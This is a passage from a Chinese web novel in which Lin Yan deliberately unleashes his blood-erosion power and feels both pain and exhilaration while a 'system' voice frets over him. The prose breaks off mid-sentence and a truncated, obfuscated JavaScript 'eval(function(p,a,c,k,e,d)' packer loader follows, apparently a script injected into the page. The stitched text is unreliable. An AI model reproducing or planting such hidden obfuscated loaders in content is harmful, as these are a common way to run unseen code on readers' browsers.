与偷偷摸摸的余绣纶不同,林砚去得光明正大。
有一样东西,它涨起来容易,降下去难,一旦显现就几乎不可逆转,它是什么?
它就是血蚀。
可林砚是特殊的,只有他无需顾忌血蚀。他能主动引动血蚀,也能随时将其压制回去。
他肆无忌惮地使用能力,不再压制体内奔流的源血,主动将其点燃、催发、推向狂暴。血管骤然贲张,血蚀印记猖獗地爬满他整张脸。纹路扭曲交织,像血色的荆棘,又像线条粗犷的玫瑰,在月光下呈现出妖异的美。
林砚的气质也发生了变化。现在的林砚,充满了狂躁的攻击欲望,看什么都像是君王见臣,嚣张又肆意。高等血统带来的天生压制无差别地压迫着周遭的一切,凡是低于他血统的,都得对他表示臣服。
此刻,哪怕白珍站在他面前,也很难认出面前人是她认识的那个林砚。
神经末梢传递着过载的信号,许久未曾体验的疼痛再次蔓延全身,林砚居然有种遇见老朋友的亲切感。
【砚宝,持续这个状态会对身体造成负担,你会痛,会难受——】
系统有些担忧地念叨起他的身体,担忧林砚身体的疼痛与难受。
而林砚现在感觉……
无比舒畅。
并非指的疼痛本身,疼痛依然是疼痛,并不会变成快感。只是躯体内充盈的力量感真是该死地棒,能量在四肢百骸奔流,身体的每一寸角落都尽在掌控中,这感觉令人着迷。
心脏砰砰乱跳,这心律紊乱的感觉反倒让他觉得熟悉。
林砚现在可以清晰地感知到方圆数百米内每一个活物体内的血液流动。大脑甚至出现了错觉,感觉自己此刻已经无所不能。像是哪怕他只是站在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(